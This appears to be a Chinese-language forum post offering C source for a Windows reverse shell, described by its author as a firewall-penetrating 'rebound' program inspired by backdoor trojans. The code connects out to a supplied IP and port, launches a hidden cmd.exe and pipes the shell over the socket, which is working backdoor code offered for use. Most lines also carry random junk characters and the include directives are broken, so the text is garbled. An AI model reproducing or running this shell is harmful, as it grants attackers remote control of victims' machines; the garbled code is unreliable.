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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]*Zg(YA  
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/* ============================== KI#),~n S  
Rebound port in Windows NT Fn$EP:>  
By wind,2006/7 e<>(c7bF  
===============================*/ HBeOK  
#include #\o VbVq  
#include d+Pfi)+(I  
E[^66(KR  
#pragma comment(lib,"wsock32.lib") * r$(lf  
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void OutputShell(); jbGP`b1_  
SOCKET sClient; V#=o<  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Il>!C\hU  
[{- Oy#T<  
void main(int argc,char **argv) C4]vq+  
{ WTZP}p1  
WSADATA stWsaData; p'uk V(B  
int nRet; >kd&>)9v  
SOCKADDR_IN stSaiClient,stSaiServer; f_7a) 'V4  
v 4DF #O  
if(argc != 3) PJsiT4<  
{ Z@=#ry  
printf("Useage:\n\rRebound DestIP DestPort\n"); H~e;S#3_v  
return; &%$r3ePwc  
} ![P1Qv p  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0Ou`& u  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S zsq|T  
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stSaiClient.sin_family = AF_INET; XL1v&'HLV  
stSaiClient.sin_port = htons(0); F$N"&<[c  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jqh d<w  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "}Of f  
{ oDXUa5x  
printf("Bind Socket Failed!\n"); 4#{i  
return; OEnJ".&V  
} `B}( Ln  
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stSaiServer.sin_family = AF_INET; J] ^)vxm3  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); PqZMuUd  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |$`)d87,  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a$y=+4L  
{ w O;\,zU  
printf("Connect Error!"); >jD,%yG  
return; k4FxdX  
} hiZE8?0+~N  
OutputShell(); ! ~u;CMR  
} L1 1/XpR  
gNY}`'~hr  
void OutputShell() T0J"Wr>WY  
{ 7{e0^V,\k  
char szBuff[1024]; dlsVE~_G  
SECURITY_ATTRIBUTES stSecurityAttributes; ?>SC:{(  
OSVERSIONINFO stOsversionInfo; {{7%z4l  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;cgc\xm>  
STARTUPINFO stStartupInfo; _h", ,"p#o  
char *szShell; fOs"\Y4  
PROCESS_INFORMATION stProcessInformation; 6Lk<VpAa  
unsigned long lBytesRead; lS&$86Jo(  
g!;k$`@{E'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UE^_SZ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c+|,q m  
stSecurityAttributes.lpSecurityDescriptor = 0; P~$FgAV  
stSecurityAttributes.bInheritHandle = TRUE; E$"( :%'v  
RG1~)5AL~Y  
1:%HE*r  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )xYv$6=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); +Bk" khH  
4)./d2/E  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); VDq4n;p1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iTJSW  
stStartupInfo.wShowWindow = SW_HIDE; chv0\k"'  
stStartupInfo.hStdInput = hReadPipe; W&23M26"{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o7Ms]AblT  
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GetVersionEx(&stOsversionInfo); *<?or"P  
\W$bOp  
switch(stOsversionInfo.dwPlatformId) lIPy)25~  
{ ~RGZY/4  
case 1: iy_'D  
szShell = "command.com"; # hvLv  
break; [!9 dA.tF  
default: PF5;2  
szShell = "cmd.exe"; ns`|G;1vv  
break; C;7?TZ&xw  
} Pl(+&k`}  
.1R:YNx{/  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +mP&B<=H)  
.R5[bXxe7  
send(sClient,szMsg,77,0); O9y4.`a"  
while(1) vpR^G`/  
{ (`h$+p^-y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &<8Q/m]5  
if(lBytesRead) y+D 3(Bsn  
{ :.KN;+tP  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b=[gK|fu  
send(sClient,szBuff,lBytesRead,0); h&Thq52R  
} W'2T7ha Es  
else ANB@cK_  
{ LB*qL  
lBytesRead=recv(sClient,szBuff,1024,0); Fl{:aq"3  
if(lBytesRead<=0) break; zs#s"e:jeR  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~<b/%l>h1  
} +oKp>-  
} `CCuwe<v  
a(}dF?M=  
return; hT:+x3  
}
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